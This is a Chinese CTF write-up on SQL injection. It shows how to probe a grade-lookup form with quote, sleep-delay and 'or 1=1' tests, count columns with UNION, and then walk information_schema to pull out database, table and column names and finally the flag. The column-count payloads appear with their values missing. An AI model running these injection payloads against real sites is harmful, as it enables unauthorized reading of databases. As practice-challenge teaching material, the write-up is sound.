天天看點

從一道CTF題目看sql注入中中繼資料的應用

前言

第一次看到中繼資料在sql注入的應用好像是在《web安全深度剖析》,鑒于經驗缺乏,隻是知道有這麼個東西,不知道怎麼應用。今天遇到一道和中繼資料相關的SQL注入題目,是以記錄下來。

擷取中繼資料

//擷取所有的庫名稱:
select SCHEMA_NAME from information_schema.SCHEMATA
//擷取某一庫中所有表的名稱:
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='此處為庫名'
//擷取某一表的所有字段名
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='此處為表名'
           

題目分析

題目位址:http://120.24.86.145:8002/chengjidan/

第一步測試

出于習慣,在輸入框送出以下資訊:

’(單引号)

—無反應

1-3 三個數字

—顯示三個人的成績

1' and sleep(3) -- s

—延時傳回,結果與隻輸入1相同(這裡引号應該閉合成功了,and sleep(3) 可替換為其他合法語句)

' or 1=1 -- s

—與隻輸入1相同(這裡猜測其實查詢出了多條記錄,但是頁面隻顯示第一條)

' or 1=1 order by id DESC -- s

—與隻輸入3相同(到這裡可以大概判斷出:該表中共有3條記錄,且頁面隻顯示每次查詢的第一條記錄,與上面的猜測吻合)

進一步猜測查詢語句結構

為了友善後續使用union查詢,我們需要進一步判斷目前查詢語句查詢了幾個字段。

' union select ,, -- s
' union select ,,, -- s
' union select ,,,, -- s
           

執行上述語句後隻有第二個正常傳回結果,是以查詢語句應該查詢了4個字段。

尋找flag在資料庫中的位置

這裡就是用到中繼資料的地方了。其實根據上面的測試,我們已經找到了能夠執行語句的地方。

首先查詢資料庫:

SELECT SCHEMA_NAME FROM information_schema.SCHEMATA

構造如下語句:

-1' union select 1,2,3,(SELECT group_concat(SCHEMA_NAME) FROM information_schema.SCHEMATA) -- s

(group_concat為了使得多個記錄顯示在一起)。

可查詢出flag所在資料庫:skctf_flag

再查詢skctf_flag中有哪些表:

-1' union SELECT 1,2,3,(SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA='skctf_flag') -- s

可知flag應該在fl4g表中。

再查詢表中列:

-1' union select 1,2,3,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='fl4g') -- s

列為skctf_flag。

最後查詢flag:

-1' union select 1,2,3,(select skctf_flag from fl4g) -- s

結束。

繼續閱讀